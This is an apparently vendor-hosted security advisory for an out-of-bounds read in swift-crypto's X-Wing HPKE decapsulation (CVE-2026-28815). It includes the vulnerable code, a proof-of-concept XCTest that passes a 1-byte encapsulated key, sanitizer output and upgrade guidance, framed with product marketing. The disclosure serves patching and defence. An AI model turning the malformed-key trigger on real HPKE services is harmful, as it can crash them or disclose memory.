Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 SwiftURL

GHSA-9m44-rr2w-ppp7

GHSA-9m44-rr2w-ppp7 is a Out-of-bounds Read vulnerability in swift-crypto. O3 Security confirms whether GHSA-9m44-rr2w-ppp7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length

Also known asCVE-2026-28815
Published
Apr 3, 2026
Updated
Apr 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
📦swift-crypto

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects SwiftURL packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter Data value is passed in, because the C code may read beyond the Swift buffer.

The issue is reachable through initialization of an HPKE.Recipient, which decapsulates the provided encapsulatedKey during construction. A malformed encapsulatedKey can therefore trigger undefined behavior instead of a safe length-validation error.

Details

The decapsulate function of OpenSSLXWingPrivateKeyImpl does not perform a length check before passing the encapsulated data to the C API.

func decapsulate(_ encapsulated: Data) throws -> SymmetricKey {
    try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) { sharedSecretBytes, count in
        try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in
            let rc = CCryptoBoringSSL_XWING_decap(
                sharedSecretBytes.baseAddress,
                encapsulatedSecretBytes.baseAddress,
                &self.privateKey
            )
            guard rc == 1 else {
                throw CryptoKitError.internalBoringSSLError()
            }
            count = Int(XWING_SHARED_SECRET_BYTES)
        }
    }
}

The C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.

#define XWING_CIPHERTEXT_BYTES 1120

OPENSSL_EXPORT int XWING_decap(
    uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],
    const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],
    const struct XWING_private_key *private_key);

Since decapsulate accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a HPKE.Recipient. This creates a new HPKE.Context, which decapsulates the attacker-controlled enc argument:

init<PrivateKey: HPKEKEMPrivateKey>(recipientRoleWithCiphersuite ciphersuite: Ciphersuite, mode: Mode, enc: Data, psk: SymmetricKey?, pskID: Data?, skR: PrivateKey, info: Data, pkS: PrivateKey.PublicKey?) throws {
    let sharedSecret = try skR.decapsulate(enc)
    self.encapsulated = enc
    self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: info, psk: psk, pskID: pskID, ciphersuite: ciphersuite)
}

PoC

This PoC constructs an HPKE.Recipient using the X-Wing ciphersuite and deliberately passes a 1-byte encapsulatedKey instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a dynamic-stack-buffer-overflow read, confirming memory-unsafe behavior.

//===----------------------------------------------------------------------===//
//
// PoC for X-Wing malformed ciphertext-length decapsulation:
// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.
//
// This test is intentionally unsafe and is expected to crash (or trip ASan)
// on vulnerable builds when run.
//
//===----------------------------------------------------------------------===//

#if canImport(FoundationEssentials)
import FoundationEssentials
#else
import Foundation
#endif
import XCTest

#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
// Skip tests that require @testable imports of CryptoKit.
#else
#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
@testable import CryptoKit
#else
@testable import Crypto
#endif

final class XWingMalformedEncapsulationPoCTests: XCTestCase {
    func testShortEncapsulatedKeyHPKERecipientInit() throws {
        if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {
            let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256
            let skR = try XWingMLKEM768X25519.PrivateKey.generate()
            let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes

            // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...)
            _ = try HPKE.Recipient(
                privateKey: skR,
                ciphersuite: ciphersuite,
                info: Data(),
                encapsulatedKey: malformedEncapsulatedKey
            )

            XCTFail("Unexpectedly returned from malformed decapsulation path")
        }
    }
}

#endif // CRYPTO_IN_SWIFTPM

Steps

  1. Add the PoC XCTest above to the test suite.
  2. Run the PoC normally to verify that malformed input is not rejected by length:
    swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit
    
  3. Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:
    swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedKeyHPKERecipientInit
    

Results

Normal run

The PoC test reaches the XCTFail path. HPKE.Recipient(...) accepted a 1-byte X-Wing encapsulated key instead of rejecting it for incorrect length.

Test Case 'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit' started
... failed - Unexpectedly returned from malformed decapsulation path
AddressSanitizer run

The sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.

ERROR: AddressSanitizer: dynamic-stack-buffer-overflow
READ of size 1
...
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow
==...==ABORTING

Impact

A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.

Reported by Cantina.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦SwiftURLswift-crypto4.0.0&&< 4.3.14.3.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for swift-crypto. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update swift-crypto to 4.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9m44-rr2w-ppp7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-9m44-rr2w-ppp7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9m44-rr2w-ppp7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer. The issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can
O3 Security · Impact-Aware SCA

Is GHSA-9m44-rr2w-ppp7 in your dependencies?

O3 detects GHSA-9m44-rr2w-ppp7 across SwiftURL dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.